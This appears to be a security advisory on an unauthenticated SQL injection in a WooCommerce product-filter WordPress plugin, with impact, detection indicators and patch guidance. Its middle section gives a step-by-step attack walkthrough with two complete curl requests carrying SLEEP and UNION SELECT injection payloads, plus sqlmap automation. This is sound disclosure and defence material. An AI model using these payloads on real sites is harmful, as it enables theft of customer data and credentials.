CVE-2026-3830: 
WordPress vulnerability analysis and mitigation

CVE-2026-3830 is an unauthenticated SQL injection vulnerability in the Product Filter for WooCommerce by WBW WordPress plugin affecting all versions before 3.1.3. The plugin fails to sanitize and escape a user-supplied parameter before incorporating it into a SQL statement, enabling unauthenticated attackers to manipulate database queries. The vulnerability was publicly disclosed on March 23, 2026, and assigned a CVSS v3.1 base score of 8.6 (High) (WPScan, GitHub Advisory).

The root cause is classified as CWE-89 (Improper Neutralization of Special Elements used in an SQL Command), where unsanitized user input is directly interpolated into SQL queries (GitHub Advisory). The vulnerability is exploitable via unauthenticated HTTP POST requests to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the drawFilterAjax and filtersFrontend actions, where the settings[filters][order] parameter — specifically the f_list field — is not properly escaped before being used in a SQL query (WPScan). Both time-based blind injection (via SLEEP()) and UNION-based injection techniques are demonstrated in the published proof-of-concept, requiring no authentication or special privileges.

Successful exploitation allows unauthenticated remote attackers to read sensitive data from the WordPress database, including customer personally identifiable information (PII), WooCommerce order data, product records, and hashed user credentials. The CVSS scope is marked as "Changed," reflecting that the impact extends beyond the plugin itself to the broader WordPress database environment. While the CVSS score indicates no direct integrity or availability impact, extracted credentials could enable further account takeover or lateral movement within the WordPress installation (WPScan, GitHub Advisory).

A public proof-of-concept (PoC) is available via WPScan, demonstrating both time-based blind and UNION-based SQL injection using curl commands against the admin-ajax.php endpoint (WPScan). As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation or threat actor attribution (Feedly). The EPSS score is approximately 0.044–0.092%, placing it in the lower percentiles for near-term exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify WordPress sites running the "Product Filter for WooCommerce by WBW" plugin (versions < 3.1.3) using tools like WPScan, Shodan, or by inspecting plugin directories on target sites.
2. Identify vulnerable endpoint: Confirm the admin-ajax.php endpoint is accessible and the plugin's drawFilterAjax or filtersFrontend AJAX actions are active.
3. Craft time-based blind injection payload: Send a POST request with a malicious settings[filters][order] parameter containing a SLEEP(5) payload to confirm exploitability:

curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=drawFilterAjax" \
  -d "pl=wpf" -d "mod=woofilters" -d "reqType=ajax" -d "id=1" \
  -d "settings[mode]=10" \
  --data-urlencode 'settings[filters][order]=[{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"product_tag\\"}},{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":", (SELECT 1 FROM (SELECT(SLEEP(5)))a))-- -"}}]'

4. Confirm injection: A delayed response (~5 seconds) confirms the SQL injection is successful.
5. Extract data via UNION-based injection: Use a UNION SELECT payload to extract database contents (e.g., WordPress user table with hashed passwords):

curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=drawFilterAjax" \
  -d "pl=wpf" -d "mod=woofilters" -d "reqType=ajax" -d "id=1" \
  -d "settings[mode]=10" \
  --data-urlencode 'settings[filters][order]=[{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"product_tag"}},{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"a\') UNION SELECT SLEEP(5),2,3,4-- -"}}]'

6. Automate extraction: Use sqlmap with the identified injection point to automate full database enumeration and credential extraction (WPScan).

• Network: Unusual or repeated HTTP POST requests to /wp-admin/admin-ajax.php with action=drawFilterAjax or action=filtersFrontend parameters; requests containing SQL keywords (SLEEP, UNION SELECT, SELECT, FROM) in the settings[filters][order] body parameter; anomalous response time delays (~5 seconds) on AJAX endpoints suggesting time-based blind injection.
• Logs: WordPress/web server access logs showing POST requests to admin-ajax.php with URL-encoded SQL payloads in the request body; repeated requests from the same IP to the AJAX endpoint in short succession; PHP error logs showing SQL syntax errors originating from the WooCommerce filter plugin.
• Process/Application: Unexpected database query patterns in MySQL slow query logs involving SLEEP(), UNION SELECT, or unusual product_tag filter values; database user activity querying sensitive tables (e.g., wp_users, wp_usermeta) from the web application context.

The vendor has released version 3.1.3 of the Product Filter for WooCommerce by WBW plugin, which addresses this vulnerability by properly sanitizing and escaping the affected parameter before use in SQL statements (WPScan, GitHub Advisory). Site administrators should immediately update the plugin to version 3.1.3 or later via the WordPress admin dashboard or WP-CLI. As a temporary workaround if immediate patching is not possible, consider disabling the plugin or restricting access to admin-ajax.php for unauthenticated users via a web application firewall (WAF) rule targeting the drawFilterAjax and filtersFrontend actions.

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of April 13–19, 2026, highlighting it as a notable unauthenticated SQL injection issue (Wordfence). Sucuri also referenced the vulnerability in their April 2026 vulnerability patch roundup, reinforcing the recommendation to update the plugin promptly (Sucuri). The original researcher and submitter is credited as "mcdruid" on WPScan (WPScan).